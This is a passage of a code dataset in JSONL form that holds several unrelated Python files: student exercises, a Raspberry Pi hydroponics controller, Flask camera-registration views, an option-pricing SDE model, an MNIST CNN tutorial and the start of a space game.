caluslated.\"\"\"\n if o or p is None:\n return fib(n)\n else:\n return lucas(n)\n\n\nassert fib(10) == 55\n# This assertion tests that the Fibonacci function is working properly.\n\nassert lucas(10) == 123\n# This assertion tests that the Lucas Series function is working properly.\n\nassert sum_series(5) == 11\n# This assertion tests that the sum_series uses Fibonacci Series function if no other parameters are passed.\n\nassert sum_series(5,6,7) == 5\n# This assertion tests that the sum_series uses Lucas Series function if no other parameters are passed.\n \n \n \n \n","sub_path":"students/KellyM/Lesson2/lesson 2 - series.py","file_name":"lesson 2 - series.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"7986916","text":"#Imports\nfrom PIL import Image\nimport numpy as np\nimport os\n#from my_package.data.transforms import FlipImage, RescaleImage, BlurImage, CropImage, RotateImage\n\nclass Dataset(object):\n '''\n A class for the dataset that will return data items as per the given index\n '''\n\n def __init__(self, annotation_file, transforms = None):\n '''\n Arguments:\n annotation_file: path to the annotation file\n transforms: list of transforms (class instances)\n For instance, [, ]\n '''\n self.annotation_filepath = annotation_file\n self.transforms = transforms\n \n\n def __len__(self):\n '''\n return the number of data points in the dataset\n '''\n file = open(self.annotation_filepath,'r')\n count = 0\n for line in file:\n count += 1\n return count\n \n\n def __getitem__(self, idx):\n '''\n return the dataset element for the index: \"idx\"\n Arguments:\n idx: index of the data element.\n\n Returns: A dictionary with:\n image: image (in the form of a numpy array) (shape: (3, H, W))\n gt_bboxes: N X 5 array where N is the number of bounding boxes, each \n consisting of [class, x1, y1, x2, y2]\n x1 and x2 lie between 0 and width of the image,\n y1 and y2 lie between 0 and height of the image.\n\n You need to do the following, \n 1. Extract the correct annotation using the idx provided.\n 2. Read the image and convert it into a numpy array (wont be necessary\n with some libraries). The shape of the array would be (3, H, W).\n 3. Scale the values in the array to be with [0, 1].\n 4. Create a dictonary with both the image and annotations\n 4. Perform the desired transformations.\n 5. Return the transformed image and annotations as specified.\n '''\n file = open(self.annotation_filepath,'r')\n count = 0\n for line in file:\n if count == idx:\n res = line\n break\n count += 1\n \n res_dict = eval(res)\n #image_path = '../../data/' + res_dict['img_fn']\n image_path = os.path.join(os.path.dirname(self.annotation_filepath), res_dict['img_fn'])\n image = Image.open(image_path)\n \n if self.transforms != None:\n for tf in self.transforms:\n image = tf(image)\n \n np_image = np.asarray(image)\n np_image = np_image.astype('float32')\n np_image = np_image/255.0\n np_image = np.transpose(np_image,(2,0,1))\n\n final_dict = dict()\n final_dict['image'] = np_image\n final_dict['gt_bboxes'] = []\n\n for box in res_dict['bboxes']:\n temp = []\n temp.append(box['category'])\n for z in box['bbox']:\n temp.append(z)\n\n final_dict['gt_bboxes'].append(temp)\n\n return final_dict\n\n\n\n#ds = Dataset('../../data/annotations.jsonl',[CropImage((200,200))])\n#file = open('temp.txt','w')\n#file.write(str(ds[1]))\n#print(ds[1])\n\n ","sub_path":"Python_DS_Assignment/AssignmentQs2/my_package/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"285839689","text":"\"\"\"\"\"class OpenFiles():\n def __init__(self):\n self.files = []\n\n def open(self, *args):\n f = open(*args)\n self.files.append(f)\n return f\n\n def close(self):\n list(map(lambda f: f.close(), self.files))\n\n\nfiles = OpenFiles()\n\n# use open method\nfoo = files.open(\"text.txt\", \"r\")\n\n# close all files\nfiles.close()\n\n#############################################################################\n\ndef say_hello(name):\n print 'Hello {}!'.format(name)\n\n# get the function by name\nmethod_name = 'say_hello'\nmethod = eval(method_name)\n\n# call it like a regular function later\nargs = ['friend']\nkwargs = {}\nmethod(*args, **kwargs)\n\n\"\"\"\"\"\n\nimport os\n\nclass Archivo:\n #Los archivos van a ser clientes, proveedores y articulos\n def abrir(self, nombre, codigo=\"r\"):\n archivo = open(nombre, codigo)\n return archivo\n \n def escribo(self, nombre, linea):\n archivo = write(linea)\n return\n \n def cerrar(self, archivo):\n archivo.close()\n return\n\nclass Persona:\n apellido=\"\"\n nombre=\"\"\n codigo=0\n direccion=\"\"\n telefono=\"\"\n\n\nclass Articulo:\n codigoBarras=\"\"\n codigoInt=\"\" # maximo numero en el archivo\n descripcion=\"\"\n proveedor=\"\"\n\n def movimientos(self, codigo):\n panta = Pantalla()\n panta.borrarPantalla()\n panta.mostrar(\"\", \"****Menu de Articulos****\")\n\n if codigo == \"01\":\n panta.mostrar(\"\", \"******Altas******\")\n linea = []\n\n codigoBarras = panta.pedir(\"Codigo de Barras:\")\n while codigoBarras == \"\" or len(codigoBarras!=13):\n codigoBarras = panta.pedir(\"Ingrese de nuevo!, no puede estar vacio y ser menos de 13: \")\n\n codigoInt = panta.pedir(\"Codigo Interno:\")\n while codigoInt == \"\" or len(codigoInt!=6):\n codigoInt = panta.pedir(\"Ingrese de nuevo!, no puede estar vacio y ser menos de 6: \")\n\n descripcion = panta.pedir(\"Ingrese una descripcion:\")\n while descripcion == \"\":\n descripcion = panta.pedir(\"La descripcion no puede estar vacia! Descripcion?:\")\n\n proveedor = panta.pedir(\"Ingrese el codigo del Proveedor:\") #se tiene que abrir el archivo de proveedores\n while proveedor == \"\": #y buscar por orden alfabetico\n proveedor = panta.pedir(\"El proveedor no puede estar vacio! Proveedor?:\")\n\n\n opcion = panta.pedir(\"Soy Alta de Articulo\")\n\n elif codigo == \"02\":\n opcion = panta.pedir(\"Soy baja de Articulo\")\n elif codigo == \"03\":\n opcion = panta.pedir(f\"Soy modificaciones de Articulo codigo = {codigo}\")\n return\n\nclass Cliente(Persona):\n def movimientos(self, codigo):\n panta = Pantalla()\n opcion = panta.pedir(\"soy Cliente\")\n if codigo == \"01\":\n opcion = panta.pedir(\"Soy Alta de Cliente\")\n elif codigo == \"02\":\n opcion = panta.pedir(\"Soy baja de Cliente\")\n elif codigo == \"03\":\n opcion = panta.pedir(f\"Soy modificaciones de Cliente codigo = {codigo}\")\n return\n\n\nclass Proveedor(Persona):\n def movimientos(self, codigo):\n panta = Pantalla()\n opcion = panta.pedir(\"Soy Proveedor\")\n if codigo == \"01\":\n opcion = panta.pedir(\"Soy Alta de Proveedor\")\n elif codigo == \"02\":\n opcion = panta.pedir(\"Soy baja de Proveedor\")\n elif codigo == \"03\":\n opcion = panta.pedir(f\"Soy modificaciones de Proveedor codigo = {codigo}\")\n return\n\nclass Pantalla:\n\n def pedir(self, texto = \"Ingrese Una Opcion:\"):\n opcion = input(texto)\n return opcion\n\n def mostrar(self, listaopciones=[], titulo=\"Sistema de Stock\"):\n print(titulo)\n for i in listaopciones:\n print(i)\n\n def borrarPantalla(self): # Definimos la función estableciendo el nombre que queramos\n if os.name == \"posix\":\n os.system(\"clear\")\n elif os.name == \"ce\" or os.name == \"nt\" or os.name == \"dos\":\n os.system(\"cls\")\n\n\npanta=Pantalla()\nopcion = \"\"\nwhile opcion != \"04\":\n listaop = [\"01 - Altas\", \"02 - Bajas\", \"03 - Modificaciones\", \"04 - Salir\"]\n panta.borrarPantalla()\n panta.mostrar(listaop)\n opcion = panta.pedir()\n\n while opcion not in [\"01\", \"02\", \"03\", \"04\"]:\n panta.mostrar(\"\",\"Las opciones a elegir son: 01, 02 ,03 o 04 en dos caracteres!! Pruebe de nuevo!\")\n opcion = panta.pedir()\n\n if opcion != \"04\":\n\n opcion_A = \"\"\n while opcion_A != \"04\":\n panta.borrarPantalla()\n titulo = \"Menu de \" + listaop[int(opcion) - 1][4:]\n listaop_A = [\"01 - Cliente\", \"02 - Proveedor\", \"03 - Articulo\", \"04 - Menu Anterior\"]\n panta.mostrar(listaop_A, titulo)\n opcion_A = panta.pedir()\n\n while opcion_A not in [\"01\", \"02\", \"03\", \"04\"]:\n panta.mostrar(\"\", \"Las opciones a elegir son: 01, 02 ,03 o 04 en dos caracteres!! Pruebe de nuevo!\")\n opcion_A = panta.pedir()\n\n if opcion_A != \"04\":\n try:\n file = Archivo()\n nombre = listaop_A[int(opcion_A) - 1][5:]\n archivo = file.abrir(f\"{nombre}.txt\", \"a+\")\n objeto = eval(nombre)\n obj = objeto()\n obj.movimientos(opcion)\n except:\n ooops = panta.pedir(\"Aca pasa algo!\")\n continue\n finally:\n file.cerrar(archivo)\n","sub_path":"stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":5581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"519883860","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport time\nimport sys, os\nfrom time import sleep\nfrom gpiozero import LED\nfrom gpiozero import Button\nimport Adafruit_DHT\nimport redis\nimport os\nimport datetime as dt\nr = redis.StrictRedis(host='localhost', port=6379, db=0)\n\nsensor = Adafruit_DHT.DHT11\n\ngpio = 17\nfan_c = LED(23)\nlights_c = LED(24)\nfan_b = Button(22)\nlights_b = Button(27)\nstopButton = Button(4)\ntemp = 0\nlights = 0\nfan = 0\nhumidity = 0\nlights_on = 0\nlights_off = 0\nfantimer = 0\nreset_sensor_time = float(0)\nlightstimer = 0\nlightstimeron = 0\nlightstimeroff = 0\nfantimerduration = 0\nfantimerflag = 0\nlightstimerflag = 0\nlightstimerend = 0\nfantimerend = 0\nfanhour = 0\n\ndef get_duration(lightstimeron, lightstimeroff):\n if(lightstimeron < lightstimeroff):\n return abs(lightstimeroff - lightstimeron)\n else:\n return abs((24-lightstimeroff)-(24-lightstimeron))\n\ndef refresh_values():\n global fan\n global lights\n global temp\n global humidity\n global reset_sensor_time\n global fantimer\n global lightstimer\n global lightstimeron\n global lightstimeroff\n global fantimerduration\n try:\n if(float(reset_sensor_time) < time.time()):\n reset_sensor_time = time.time() + float((2*60))\n humidity, temp = Adafruit_DHT.read_retry(sensor, gpio)\n r.set('temp', temp)\n r.set('humidity', humidity)\n fan = int(r.get('fan'))\n lights = int(r.get('lights'))\n fantimer = int(r.get('fantimer'))\n fantimerduration = int(r.get('fantimerduration'))\n lightstimer = int(r.get('lightstimer'))\n lightstimeron = int(r.get('lightstimeron'))\n lightstimeroff = int(r.get('lightstimeroff'))\n except Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n print(exc_type, fname, exc_tb.tb_lineno)\n\ntry:\n fan_c.on()\n lights_c.on()\n os.system('redis-cli config set stop-writes-on-bgsave-error no')\n r.set('fan', 0)\n r.set('lights', 0)\n r.set('fantimer', 0)\n r.set('fantimerduration', 0)\n r.set('lightstimer', 0)\n r.set('lightstimeron', 0)\n r.set('lightstimeroff', 0)\nexcept:\n print('error fixing cahcing on redis')\nprint('past start')\nwhile 1 == 1:\n refresh_values()\n if fan_b.is_pressed:\n if fan == 0:\n fan = 1\n else:\n fan = 0\n r.set('fan', fan)\n time.sleep(0.3)\n\n if lights_b.is_pressed:\n if lights == 0:\n lights = 1\n else:\n lights = 0\n r.set('lights', lights)\n time.sleep(0.3)\n\n if stopButton.is_pressed:\n time.sleep(2)\n if(stopButton.is_pressed):\n os.system('shutdown now -h')\n if fan == 0:\n fan_c.on()\n else:\n fan_c.off()\n\n if lights == 0:\n lights_c.on()\n else:\n lights_c.off()\n\n if(lightstimer == 1):\n if(dt.datetime.today().hour == lightstimeron and lightstimerflag == 0):\n lightstimerflag = 1\n lightstimerend = (time.time() + 36000) + (get_duration(lightstimeron,lightstimeroff)*3600)\n lights = 1\n r.set('lights', lights)\n lights_c.off()\n print('inside lights 1')\n if((time.time()+36000) >= lightstimerend and lightstimerflag == 1):\n print('inside lights 2')\n lightstimerflag = 0\n lights = 0\n r.set('lights', lights)\n lights_c.on()\n if(fantimer == 1):\n if(fanhour != dt.datetime.today().hour and fantimerflag == 0):\n print('isnide fan 1')\n fanhour = dt.datetime.today().hour\n fantimerflag = 1\n fantimerend = (time.time() + 36000) + (60*fantimerduration)\n print('fantimerduration: ' + str(fantimerduration) + \" fanhour: \" + str(fanhour) + \" time: \" + str(time.time() + 36000) + \" fantimerend: \" + str(fantimerend))\n fan_c.off()\n fan = 1\n r.set('fan', fan)\n if(fantimerend <= (time.time()+36000) and fantimerflag == 1):\n print(\"inside fan 2\")\n fan_c.on()\n fan = 0\n r.set('fan', fan)\n fantimerflag = 0\n","sub_path":"hydro/hydro1.py","file_name":"hydro1.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"187730816","text":"# -*- encoding: utf-8 -*-\n\nimport struct\n\ndef PackRequest(call_guid, method_idx, data):\n data_len = len(data)\n msg_size = 8 + data_len\n msg = struct.pack(' rand_number:\n count -=1\n print('Искомое число меньше твоего')\n elif a < rand_number:\n count -=1\n print('Искомое число больше твоего')","sub_path":"lesson02/task06.py","file_name":"task06.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"483886459","text":"\"\"\"\n写一个程序从输入中计算单词的频率。输出应该在按字母数字顺序对键排序后输出。\n\n假设向程序提供了以下输入:\n\nNew to Python or choosing between Python 2 and Python 3? Read Python 2 or Python 3.\n\n那么,输出应该是:\n2:2\n3.:1\n3?:1\nNew:1\nPython:5\nRead:1\nand:1\nbetween:1\nchoosing:1\nor:2\nto:1\n\n\"\"\"\n\ni_count = 0\ninput_str = input(\"please input:\")\n\ninput_list = input_str.split(\" \")\nfor i in input_list:\n # 在这里遍历两次该列表,进行对比 , 然后进行计数器的累加\n for j in input_list:\n if i == j:\n i_count += 1\n print(\"%s:%s\" % (i, i_count))\n i_count = 0\n\n","sub_path":"18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"281566326","text":"import os\nimport unittest\nimport tempfile\nfrom pathlib import Path\n\nfrom installer import base\n\n\nETHEREUM_RPC_ENDPOINT = os.getenv(\"TEST_RAIDEN_INSTALLER_ETH_RPC_URL\")\nETHEREUM_NETWORK_NAME = os.getenv(\"TEST_RAIDEN_INSTALLER_ETHEREUM_NETWORK\")\n\n\n@unittest.skipIf(\n ETHEREUM_RPC_ENDPOINT is None or ETHEREUM_NETWORK_NAME is None,\n \"missing configuration for ethereum rpc url and/or network\",\n)\nclass IntegrationTestCase(unittest.TestCase):\n def setUp(self):\n base.Account.DEFAULT_KEYSTORE_FOLDER = Path(tempfile.gettempdir()).joinpath(\n \"raiden\", \"installer\", \"integration\"\n )\n self.ethereum_rpc_provider = base.EthereumRPCProvider.make_from_url(\n ETHEREUM_RPC_ENDPOINT\n )\n self.account = base.Account.create(\"test_raiden_integration\")\n self.network = base.Network.get_by_name(ETHEREUM_NETWORK_NAME)\n\n def tearDown(self):\n base.Account.DEFAULT_KEYSTORE_FOLDER.unlink()\n\n\nclass NetworkTestCase(IntegrationTestCase):\n def test_can_fund_account(self):\n self.network.fund(self.account)\n self.assertTrue(self.account.balance > 0)\n\n\nclass TokenTestCase(IntegrationTestCase):\n def setUp(self):\n super().setUp()\n self.token = base.Token(\n ethereum_rpc_endppoint=ETHEREUM_RPC_ENDPOINT, account=self.account\n )\n\n def test_can_not_mint_tokens_without_gas(self):\n with self.assertRaises(ValueError):\n self.token.mint(self.token.TOKEN_AMOUNT)\n\n def test_can_mint_tokens(self):\n self.network.fund(self.account)\n\n self.token.mint(self.token.TOKEN_AMOUNT)\n","sub_path":"tests/integration.py","file_name":"integration.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"569274587","text":"import xerus as xe\nimport numpy as np\nfrom scipy import linalg as la\nimport scipy.integrate as integrate\n\n\nclass Ode:\n def __init__(self):\n load_me = np.load('save_me.npy')\n self.lambd = load_me[0]\n self.interval_min = load_me[2]\n self.interval_max = load_me[3]\n self.t_vec_s = np.load('t_vec_s.npy')\n self.tau = load_me[4] \n self.n = int(load_me[5])\n self.sqrttau = np.sqrt(self.tau)\n self.sigma = load_me[6]\n self.interest = load_me[7]\n self.strike_price = load_me[8]\n self.increase = load_me[9]\n np.random.seed(2)\n self.L = np.load('L.npy')\n self.payoff_vec = np.load('payoff_vec.npy')\n\n def step(self, t, x, u, noise=None):\n return self.step_euler_mayurama(t, x, u, noise)\n \n def step_euler_mayurama(self, t, x, u, noise=None):\n if len(x.shape) == 1:\n if noise is not None:\n ret = x + self.tau*self.rhs_curr(t, x, u) + (x*self.sigma*self.L @ noise)\n else:\n ret = x + self.tau*self.rhs_curr(t, x, u) + (x*self.sigma*self.L @ np.random.normal(loc=0.0,scale=self.sqrttau))\n # ret = np.minimum(ret, self.interval_max)\n # ret = np.maximum(ret, self.interval_min)\n return ret\n else:\n if noise is not None:\n ret = x+(self.tau*self.rhs_curr(t, x, u) + x*(self.sigma*self.L @ noise))\n else:\n noise = x*(self.sigma*self.L @ np.random.normal(loc=0.0,scale=self.sqrttau,size=x.shape))\n ret = x + self.tau*self.rhs_curr(t, x, u) + noise\n # ret[ret > self.interval_max] = self.interval_max\n # ret[ret < self.interval_min] = self.interval_min\n return ret\n \n\n def rhs_curr(self, t, x, u):\n return self.f(t, x)\n\n\n def f(self, t, x):\n return (self.interest-self.increase) * x\n # return self.increase * x\n # return np.ones(x.shape)\n\n\n def solver(self, t_points, x, calc_u_fun):\n print('does not work for SDE')\n return 0\n\n\n def calc_reward(self, t, x, u=None):\n if len(x.shape) == 1:\n return self.g(x)\n else:\n return self.g_batch(x)\n\n def g_batch(self, x_mat):\n # return np.maximum(np.zeros(x_mat.shape[1]), strike_price - x_mat)\n # print('self.strike_price', self.strike_price, 'np.sum(x_mat, axis=0', np.sum(x_mat, axis=0), self.payoff_vec)\n return np.maximum(np.zeros(x_mat.shape[1]), -self.strike_price*np.ones(x_mat.shape[1]) + np.max(x_mat, axis=0))\n # return np.maximum(np.zeros(x_mat.shape[1]), self.strike_price*np.ones(x_mat.shape[1]) - np.sum(x_mat, axis=0)*self.payoff_vec[0])\n\n def g(self, x):\n return np.maximum(0, -self.strike_price + np.max(x))\n \n def calc_u(self, t, x, grad):\n if len(x.shape) == 1:\n return -self.g(t, x) * grad\n else:\n return -self.g(t, x) *grad\n\n\n def sample_boundary(self, no_dif_samples, samples_dim):\n samples_mat = np.zeros(shape=(samples_dim, no_dif_samples))\n for i0 in range(no_dif_samples):\n sample = np.random.uniform(-1, 1, samples_dim)\n sample /= np.linalg.norm(sample)/self.maxdiff\n samples_mat[:, i0] = self.x_target - sample\n return samples_mat\n\n def t_to_ind(self, t):\n # print('t, t/self.tau, int(t/self.tau', t, t/self.tau, int(t/self.tau))\n return int(t/self.tau)\n\n def test(self):\n t = 0.\n n = self.n\n m = self.n\n start = np.ones((n,2))\n print('start', start)\n control = np.zeros((m, 2))\n end = self.step(0, start, control)\n print('end', end)\n print('rewards', self.calc_reward(t, start, control), self.calc_reward(t, end, control))\n print('control', self.calc_u(t, start, start))\n return 0\n\n\n\n# testOde = Ode()\n# testOde.test()\n","sub_path":"primal/callMaximum/sorted/ode.py","file_name":"ode.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"1885212","text":"from . import cam\nfrom flask import render_template, redirect, request, url_for, flash,Response,session\nfrom flask.ext.login import login_user, logout_user, login_required,current_user\nfrom ..models import SVSIpCamReg,SVSuserReg\nfrom .forms import CamRegister,Camedit\nfrom ..email import send_email\nfrom .. import db,login_manager\nfrom datetime import datetime\n#from camera import VideoCamera\nfrom cryptography.fernet import Fernet\n\n\n@cam.route('/Camregister', methods=['GET', 'POST'])\n@login_required\ndef Camregister():\n form = CamRegister()\n if form.validate_on_submit():\n fkey = Fernet.generate_key()\n f = Fernet(fkey)\n ecamurl = f.encrypt(bytes(form.camurl.data))\n emid = SVSuserReg.query.filter_by(emid=current_user.emid).first()\n CamRef = SVSIpCamReg(camusername=emid,sitename =form.sitename.data,camurl_hash =ecamurl,key=fkey,sview=form.sitevis.data,FDstore = form.FDStore.data)\n db.session.add(CamRef)\n db.session.commit()\n flash('Your cam has been added now.')\n return redirect(url_for('main.index'))\n return render_template('cam/IpCamReg.html', form=form)\n\n\ndef gen(camera):\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n\\r\\n')\n\n#This link will stream from camera and convert it into jpeg and stream it\n\n@cam.route('/stream')\n@login_required\ndef stream():\n return Response(gen(VideoCamera()),mimetype='multipart/x-mixed-replace; boundary=frame')\n\n#This link will show html which has img tag and source of it will be stream\n@cam.route('/live')\n@login_required\ndef live():\n return render_template('cam/stream.html')\n\n\n\n#This route will show your camera list for loged in user\n@cam.route('/listallcams')\n@login_required\ndef listallcams():\n camtab = SVSIpCamReg.query.filter_by(u_id = current_user.id).all()\n for rec in camtab:\n dkey = rec.key\n bdkey=bytes(dkey)\n f = Fernet(bdkey)\n bcamurl = bytes(rec.camurl_hash)\n camurl =f.decrypt(bcamurl)\n rec.camurlnew = camurl\n\n return render_template('cam/viewallcam.html',allcam = camtab)\n\n#This route will edit your camera url site and size in your\n@cam.route('/editcams/',methods=['GET','POST'])\ndef editcams(id):\n camedit = SVSIpCamReg.query.get_or_404(id)\n form = Camedit()\n if form.validate_on_submit():\n camedit.sitename = form.sitename.data\n fkey = Fernet.generate_key()\n f = Fernet(fkey)\n ecamurl = f.encrypt(bytes(form.camurl.data))\n camedit.key = fkey\n camedit.camurl_hash = ecamurl\n camedit.sview = form.sitevis.data\n camedit.FDstore = form.FDStore.data\n db.session.add(camedit)\n db.session.commit()\n flash(\"Your Camera has been updated\")\n return redirect(url_for('.listallcams'))\n form.sitename.data = camedit.sitename\n dkey = camedit.key\n bdkey=bytes(dkey)\n f = Fernet(bdkey)\n bcamurl = bytes(camedit.camurl_hash)\n camurl =f.decrypt(bcamurl)\n form.camurl.data = camurl\n form.sitevis.data = camedit.sview\n form.FDStore.data = str(camedit.FDstore)\n return render_template('cam/editcam.html',form=form)\n\n\n","sub_path":"app/cam/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"524124243","text":"# from concurrent.futures import ThreadPoolExecutor\n# from concurrent.futures import ProcessPoolExecutor\n# import time\n# def task(arg):\n# print(arg)\n# time.sleep(1)\n#\n# # pool = ProcessPoolExecutor(5)\n# pool = ThreadPoolExecutor(5)\n#\n# for i in range(50):\n# pool.submit(task,i)\n\n\nimport json\nfrom datetime import date\nfrom datetime import datetime\n\n\n# class JsonCustomEncoder(json.JSONEncoder):\n# def default(self, field):\n# if isinstance(field, datetime):\n# return field.strftime('%Y-%m-%d %H')\n# elif isinstance(field, date):\n# return field.strftime('%Y-%m-%d')\n# elif isinstance(field, Response):\n# return field.__dict__\n# else:\n# return json.JSONEncoder.default(self, field)\n#\n# class Response(object):\n# def __init__(self):\n# self.status =True\n# self.data = \"asdf\"\n# data = {\n# 'k1': 123,\n# 'k2': datetime.now(),\n# 'k3': Response()\n# }\n# ds = json.dumps(data, cls=JsonCustomEncoder)\n# print(ds)\n# class test1():\n# def __init__(self, a):\n# self.a = a\n#\n# def get_a_type(self):\n# return self.get_a_nou_num()\n#\n# @classmethod\n# def get_a_num(cls):\n# return cls\n#\n# @staticmethod\n# def get_a_nou_num():\n# return \"aaa\"\n#\n#\n# a = test1(a=10)\n# print(a.get_a_type())\n# print()\n# print(a.get_a_nou_num())\n\nfrom config import settings\nimport hashlib,time\nfrom src.checkpython_version import check\nclass AutoBase(object):\n def __init__(self):\n self.asset_api = settings.ASSET_API\n self.key = settings.KEY\n self.key_name = settings.AUTH_KEY_NAME\n\n def auth_key(self):\n \"\"\"\n 接口认证\n :return:\n \"\"\"\n ha = hashlib.md5(self.key.encode('utf-8'))\n time_span = time.time()\n # print(sys.version_info>2.7)\n if check():\n ha.update(bytes(\"%s|%f\" % (self.key, time_span), encoding='utf-8'))\n else:\n ha.update(bytes(\"%s|%f\" % (self.key, time_span), ))\n encryption = ha.hexdigest()\n result = \"%s|%f\" % (encryption, time_span)\n return {self.key_name: result}\n\na=AutoBase()\na.auth_key()","sub_path":"AutoClient/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"567849244","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\n#APPLICATION LOGIC\n\n#Typically CNN consists of stack of convolutional models each module consists of convolutional layer followed by pooling layer\n#Last covolutional module is follwed by one or more dense layers. Last dense layer contains single node for each class\n#in the model, with a soft max activation function to generate values between 0 to 1 for each node. So each node in last layer can be \n# seen as probability/likelihod of that class for an input image\n\ndef cnn_model_fn(features, labels, mode):\n \"\"\"model function for CNN\"\"\"\n #input layer\n input_layer = tf.reshape(features[\"x\"], [-1, 28, 28, 1])\n \n #convolutional layer #1\n conv1 = tf.layers.conv2d(inputs = input_layer,\n filters = 32,\n kernel_size = [5,5],\n padding=\"same\",\n activation = tf.nn.relu)\n \n # pooling layer #1\n pool1 = tf.layers.max_pooling2d(inputs = conv1, pool_size=[2,2], strides = 2)\n \n #convolutional layer #2 and pooling layer #2\n conv2 = tf.layers.conv2d(\n inputs = pool1,\n filters=64,\n kernel_size = [5,5],\n padding=\"same\",\n activation = tf.nn.relu\n )\n pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=[2, 2], strides=2)\n\n \n #dense layer\n pool2_flat = tf.reshape(pool2, [-1, 7*7*64])\n dense = tf.layers.dense(inputs=pool2_flat, units = 1024, activation = tf.nn.relu)\n dropout = tf.layers.dropout(inputs = dense, rate = 0.4, training=mode == tf.estimator.ModeKeys.TRAIN)\n \n #logit layer\n logits = tf.layers.dense(inputs= dropout, units=10)\n \n predictions = {\n #generate preditions for oredict and eval mode\n \"classes\" : tf.argmax(input = logits, axis = 1),\n #add softmax tensor to teh graph. It is used for PREDICT and by the 'logging hook'\n \"probabilities\" : tf.nn.softmax(logits, name = \"softmax_tensor\")\n }\n \n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n \n #calculate LOSS for both train and eval modes\n onehot_labels = tf.one_hot(indices = tf.cast(labels, tf.int32), depth = 10)\n loss = tf.losses.softmax_cross_entropy(onehot_labels = onehot_labels, logits = logits)\n \n #configure training Op (for TRAIN Mode)\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.GradientDescentOptimizer(learning_rate = 0.001)\n train_op = optimizer.minimize(loss = loss,\n global_step = tf.train.get_global_step())\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss,train_op = train_op)\n\n #Add evaluation metric for eval mode\n eval_metric_ops = {\n \"accuracy\": tf.metrics.accuracy(labels=labels, predictions=predictions[\"classes\"])\n }\n return tf.estimator.EstimatorSpec(mode = mode, loss = loss, eval_metric_ops=eval_metric_ops)\n\ndef main(unused_argv):\n #load traiing data and eval data\n mnist = tf.contrib.learn.datasets.load_dataset(\"mnist\")\n train_data = mnist.train.images #returns nummpy array\n train_labels = np.asarray(mnist.train.labels, dtype=np.int32)\n eval_data = mnist.test.images #returns nummpy array\n eval_labels = np.asarray(mnist.test.labels, dtype = np.int32)\n mnist_classifier = tf.estimator.Estimator(model_fn = cnn_model_fn,model_dir=\"/tmp/mnist_convnet_model\")\n #add logging hook\n tensors_to_log = {\"probabilities\",\"softmax_tensor\"}\n #logging_hook = tf.train.LoggingTensorHook(tensors = tensors_to_log,every_n_iter=50)\n #train the model \n train_input_fn = tf.estimator.inputs.numpy_input_fn(x = {\"x\":train_data},\n y=train_labels,\n batch_size = 100,\n num_epochs = None,\n shuffle=True)\n mnist_classifier.train(input_fn = train_input_fn,\n steps=1000)\n #hooks=[logging_hook])\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={\"x\":eval_data},\n y = eval_labels,\n num_epochs=1,\n shuffle=False\n )\n eval_results = mnist_classifier.evaluate(input_fn = eval_input_fn)\n print(eval_results)\n \nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"mnist_cnn.py","file_name":"mnist_cnn.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"325126686","text":"#encoding:UTF-8\n#Autor:Ernesto Cruz Lopéz\n#Proyecto Final\n\nfrom Graphics import *\nfrom random import randint\n\ndef leerArchivo():\n entrada=open(\"marcador.txt\",\"r\")\n linea=entrada.readline()\n valor=entrada.readline()\n valor=valor[0:len(valor)-1]\n puntos=int(valor)\n entrada.close()\n return puntos\n\ntxtPuntos=Text((700,50),\"Puntos:0\")\ntxtPuntos.color=Color(\"White\")\n\npuntosJugador=0\n\n\nv=Window(\"Espacio\",800,600)\n\n\npersonaje=makePicture(\"astro.png\")\npersonaje.y=555\npersonaje.x=400\npersonaje.border=0\n\n\n\n\n\ncontador=0\nband=True\nenemigo=0\nenemigoX=0\n\ncontadorUno=0\nbandUno=True\namigo=0\namigoX=0\n\ncontadorDos=0\nbandDos=True\nblackh=0\nblackhX=0\n\ncontadorTres=0\nbandTres=True\nfugaz=0\nfugazX=0\n\nlistaEnemigos=[]\nlistaAmigos=[]\nlistaBlack=[]\nlistaSFugaz=[]\n\nmayor=leerArchivo()\ntxtAlto=Text((150,50),\"Marcador 